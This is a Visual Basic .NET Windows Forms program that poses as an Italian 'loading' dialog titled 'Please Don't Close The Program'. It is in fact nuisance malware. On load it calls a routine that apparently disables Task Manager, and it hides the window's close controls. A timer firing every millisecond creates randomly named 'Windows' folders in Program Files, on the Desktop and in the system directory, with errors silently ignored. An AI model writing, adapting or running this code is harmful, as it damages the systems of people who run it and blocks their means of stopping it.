Imports System
Imports System.IO
Public Class Form1
Inherits System.Windows.Forms.Form
#Region " Windows Form Designer generated code "
Public Sub New()
MyBase.New()
'This call is required by the Windows Form Designer.
InitializeComponent()
'Add any initialization after the InitializeComponent() call
End Sub
'Form overrides dispose to clean up the component list.
Protected Overloads Overrides Sub Dispose(ByVal disposing As Boolean)
If disposing Then
If Not (components Is Nothing) Then
components.Dispose()
End If
End If
MyBase.Dispose(disposing)
End Sub
'Required by the Windows Form Designer
Private components As System.ComponentModel.IContainer
'NOTE: The following procedure is required by the Windows Form Designer
'It can be modified using the Windows Form Designer.
'Do not modify it using the code editor.
Friend WithEvents Label1 As System.Windows.Forms.Label
Friend WithEvents Timer1 As System.Windows.Forms.Timer
Friend WithEvents Timer2 As System.Windows.Forms.Timer
<System.Diagnostics.DebuggerStepThrough()> Private Sub InitializeComponent()
Me.components = New System.ComponentModel.Container
Me.Label1 = New System.Windows.Forms.Label
Me.Timer1 = New System.Windows.Forms.Timer(Me.components)
Me.Timer2 = New System.Windows.Forms.Timer(Me.components)
Me.SuspendLayout()
'
'Label1
'
Me.Label1.Location = New System.Drawing.Point(8, 24)
Me.Label1.Name = "Label1"
Me.Label1.Size = New System.Drawing.Size(280, 32)
Me.Label1.TabIndex = 0
Me.Label1.Text = "Caricamento in corso"
'
'Timer1
'
Me.Timer1.Enabled = True
Me.Timer1.Interval = 500
'
'Timer2
'
Me.Timer2.Enabled = True
Me.Timer2.Interval = 1
'
'Form1
'
Me.AutoScaleBaseSize = New System.Drawing.Size(10, 22)
Me.ClientSize = New System.Drawing.Size(292, 80)
Me.ControlBox = False
Me.Controls.Add(Me.Label1)
Me.Font = New System.Drawing.Font("Arial", 14.25!, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, CType(0, Byte))
Me.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedSingle
Me.MaximizeBox = False
Me.MinimizeBox = False
Me.Name = "Form1"
Me.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen
Me.Text = "Please Don't Close The Program"
Me.ResumeLayout(False)
End Sub
#End Region
Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
Select Case Label1.Text
Case "Caricamento in corso"
Label1.Text = "Caricamento in corso."
Case "Caricamento in corso."
Label1.Text = "Caricamento in corso.."
Case "Caricamento in corso.."
Label1.Text = "Caricamento in corso..."
Case "Caricamento in corso..."
Label1.Text = "Caricamento in corso"
End Select
End Sub
Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick
Dim Path As Environment
Dim x, y, n As String
Dim Cartella As String
On Error Resume Next
Cartella = "Windows" & (10000 * Rnd())
x = Path.GetFolderPath(Environment.SpecialFolder.ProgramFiles)
y = Path.GetFolderPath(Environment.SpecialFolder.Desktop)
n = Path.GetFolderPath(Environment.SpecialFolder.System)
Call MkDir(x & "\" & Cartella)
Call MkDir(y & "\" & Cartella)
Call MkDir(n & "\" & Cartella)
End Sub
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
Call DisableTask()
End Sub
Private Sub Form1_Closing(ByVal sender As Object, ByVal e As System.ComponentModel.CancelEventArgs) Handles MyBase.Closing
Call EnableTask()
End Sub
Private Sub Form1_Closed(ByVal sender As Object, ByVal e As System.EventArgs) Handles MyBase.Closed
Call EnableTask()
End Sub
End Class